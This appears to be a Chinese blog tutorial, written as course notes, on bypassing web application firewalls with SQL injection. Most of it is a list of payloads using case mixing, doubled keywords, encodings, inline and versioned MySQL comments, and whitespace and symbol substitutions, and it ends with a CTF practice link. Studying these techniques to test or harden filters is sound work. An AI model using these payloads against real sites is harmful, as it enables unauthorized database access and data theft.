WAF是什么?

Web应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如DDOS防护、SQL注入、XML注入、XSS等。

WAF分类:

代码WAF:将规则写在web代码中,并去匹配,来过滤。

软件WAF:监听端口或以Web容器扩展方式进行请求检测和阻断

硬件WAF:专门硬件防护设备,代理流量,并做分析,再做是否转发的处理

云WAF:通过dns域名移交技术,将流量暂时发送到检测中心节点,通过检测后,再发送到真实服务器上

WAF工作流程:三个基本步骤

身份认证:白名单ip、白名单cookie、白名单user-agent、白名单referer等等

数据包解析

规则匹配:根据不同的规则,有不同的绕过方法。

过WAF的基本方式:

1、大小写     select * from users where id ='1   ' uNion SelEcT 1,2,3,4--+

针对:/正则表达式/ i    不区分大小写的规则

2、替关键字(关键字重复写)  select * from users where ID=1 ununionion selselectect 1,2,3,4%23

针对检测到某个关键词 替换为空的情况

3、编码  select  * from users where id=2%2bunion%2bselect%2b1,2,3,4--+

union ---> 0x756e696f6e20

select * from users where ID=1 %75nion select 1,2,3,4%23

编码方式:URL编码 (空格为%20  单引号%27  左括号%28  右括号%29,针对特殊情况可以两次URL编码)

十六进制编码(针对某些数据,如特殊字符、特殊字符串等)

unicode:Unicode编码  使用两个字节编码一个字符,高位不足使用0填充

单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

4、内联注释 /* */      union/**/select/**/1,2,3%23 、   //.--+,/**/,--,-- -,#,;--b

select * from dvwa.user where user_id id='1' and 1=1;--+';

5、等价函数替换      verion()     @@version

mid   substr   substring

@@datadir  datadir()

hex()    bin()   ascii()

sleep()   benchmark()

等价符号:and  &&;   or  || ; =  ><  re>100 re<102  re=101

6、特殊符号   + #  %23  --+   \\\\

select`version()`

select+id-1+1.from users; "+"用于字符串连接  -和. 用于连接,可以用于逃过空格和关键词的过滤

@符号:用户自定义变量    select @……1.from users;

@@符号:系统变量

后续加 ~  !  %  ()  []  +   |   %00  等等

7、内联注释加!  select * from users where id = 1 /*!union//**//*!select//**/1,2,3,4--+

8、缓冲区溢出

?id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18

栗子上的 0xA*1000  指的是0XA后面的 "A" 重复1000次,一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度,这里1000仅供参考,在一些情况下也可以更短

9、mysql 特性绕过

= 等于

:= 赋值

@ @+变量名可直接调用 select @test:=user();

注释符号 /**/  --(空格)  #

/!**/  /*!50000select*/

select * from news where tid=1 union /*!50000select*/ 1,2,3;

/*!union*/

(/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE())

10、换行 123%0A123

11、隐私类型转换

select 'a'=0;

select '1admin'=1;

综合探索

内联注释

黑魔法:select{x user}from{x mysql.user};

换行符绕过:%23%0a   %2d%2d%0a

绕过方式部分拆解

select * from admin where id=1[1] union [2] select [3]1,user()[4] from [5]admin

[1] 第一部分:

(1)/**/  /*!50000union*/

(2)空白字符 %09 %0a %0b %0c %0d %20

id=1%0bunion select 1,user() from admin

(3)浮点数形式  1.2   4.2

id=1.0union select 1,user() from admin

(4)1E0   1x一亿的0次方

id=1e0nuion select 1,user() from admin

(5)\

id=\Nunion select 1,user() from admin

[2] 第二部分:

(1)空白字符  %09 %0a %0b %0c %0d %20

(2)注释符 /**/   /*123213*/

(3)括号 id=1 union(select 'test','1',(select user() from admin limit 0,1))

[3]   第三部分:

(1)空白字符

(2)注释符号

(3)其他字符:

! %21

+  %2b

- %2d

@ %40

~ %7e

select * from admin where id=1 union select~1,user(),version()

(4)其他方式:

括号   select * from admin where id=1 union select(1),user(),version()

内联   select * from admin where id=1 union /*!50000select*/1,user(),version()

{} select * from admin where id=1 union select{x 1} user(),version()

" "    select * from admin where id=1 union select"1" user(),version()

\N     select * from admin where id=1 union select\N ,user(),version()

[4] 第四部分:

(1)空白字符

(2)注释符

(3)其他符号

` %60   select * from admin where id=1 union select 1,2`from admin`;(注意闭合)

内敛注释符号

加括号

加字母 select * from admin where id=1 union select 1,2"A"from admin;(???)

(4)浮点数、1E0 、\N

第五部分:

(1)空白

(2)注释符号

(3)其他符号

破则号-: select * from admin where id=1 union select 1,2 from-admin;(中文的)

联注释符号

{} select * from admin where id=1 union select 1,2 from{x   admin};

() select * from admin where id=1 union select 1,2 from(admin);

练习题:http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1

$keywords= array("union","select","  ");

$id=strtolower($id);

$id=str_replace($keywords,"",$id);

// 需要处理的技术点:双写.py     使用注释代替空格.py

// --tamper 双写.py,使用注释代替空格.py

SQL注入过WAF(11.4 第三十三天)的更多相关文章

  1. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  2. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  3. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  4. SQL注入绕WAF总结

    0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...

  5. SQL注入绕过waf的一万种姿势

      绕过waf分类: 白盒绕过: 针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示: 1 ........ 2 3 $id=$_GET['id']; 4 5 $ ...

  6. 一次简单的SQL注入绕WAF

    本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个 1.目标网站 2.发现有WAF防护 3.判断存在注入 4.猜测了一下闭合为 ...

  7. [转载]SQL注入绕过WAF的方法总结

    基本/简单绕过方法: 1.注释符 http://www.0dayhack.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4-. 2.使用 ...

  8. [WAF攻防]从WAF攻防角度重看sql注入

    从WAF攻防角度重看sql注入 攻防都是在对抗中逐步提升的,所以如果想攻,且攻得明白,就必须对防有深刻的了解 sql注入的大体流程 Fuzz测试找到注入点 对注入点进行过滤检测,及WAF绕过 构建pa ...

  9. sql注入之堆叠注入及waf绕过注入

    #堆叠查询注入 1.堆叠查询概念 stacked injections(堆叠查询注入)从名词的含义就可以看出一应该是一堆(多条)sql语句一起执行.而在真实运用中也是如此,我们知道在mysql中,主要 ...

随机推荐

  1. 「AMPPZ2014」Petrol

    传送门: 这是一道bzoj权限题 Luogu团队题链接 解题思路 首先对于每一个点 \(x\) 预处理出 \(nr[x]\) 和 \(dis[x]\),分别表示离 \(x\) 最近的加油站以及该段距离 ...

  2. 实变函数(Real Analysis)

    针对实数函数的分析理论 首先引入集合和映射的概念 ------------------------------------- 集合交,并,差. 集合的势:有限集,无限集(可列,不可列) 再考虑实数点集 ...

  3. UniCode 速查表

    unicode速查表 0000–0FFF 1000–1FFF 2000–2FFF 3000–3FFF 4000–4FFF 5000–5FFF 6000–6FFF 7000–7FFF 8000–8FFF ...

  4. 2_05_MSSQL课程_查询_where,group by,having的区别以及内连接、案例练习

    SQL查询顺序 select distinct/top ..._ (5) 投影 from_(1)找到表  where_ (2)过滤掉我们不需要的数据    group by_ (3)分组操作    h ...

  5. linux 串口通信 编程详解

    计算机串口的引脚说明 序号 信号名称 符号 流向 功能 3 发送数据 TXD DTE→DCE DTE发送串行数据 2 接收数据 RXD DTE←DCE DTE 接收串行数据 7 请求发送 RTS DT ...

  6. java程序员的就业指导(重点)

    想要成为合格的Java程序员或工程师到底需要具备哪些专业技能,面试者在面试之前到底需要准备哪些东西呢?本文陈列的这些内容既可以作为个人简历中的内容,也可以作为面试的时候跟面试官聊的东西,你可以把这些内 ...

  7. 分享Burp Suite遇到的各种坑

    1.性质问题 价格昂贵 专业版高达399美元/每年,免费版有功能限制:https://portswigger.net/buy/pro,构想中的工具应该是免费开源的. 破解版存在安全隐患 https:/ ...

  8. 30 整数中1出现的次数(从1到n整数中1出现的次数)这题很难要多看*

    题目描述 求出1~13的整数中1出现的次数,并算出100~1300的整数中1出现的次数?为此他特别数了一下1~13中包含1的数字有1.10.11.12.13因此共出现6次,但是对于后面问题他就没辙了. ...

  9. Python栈溢出【新手必学】

    python3.5.4 递归函数最恶心的时候莫非栈溢出(Stack overflow).PS:另外很多人在学习Python的过程中,往往因为没有好的教程或者没人指导从而导致自己容易放弃,为此我建了个P ...

  10. 多元线性回归算法python实现(非常经典)

    对于多元线性回归算法,它对于数据集具有较好的可解释性,我们可以对比不过特征参数的输出系数的大小来判断它对数据的影响权重,进而对其中隐含的参数进行扩展和收集,提高整体训练数据的准确性.整体实现代码如下所 ...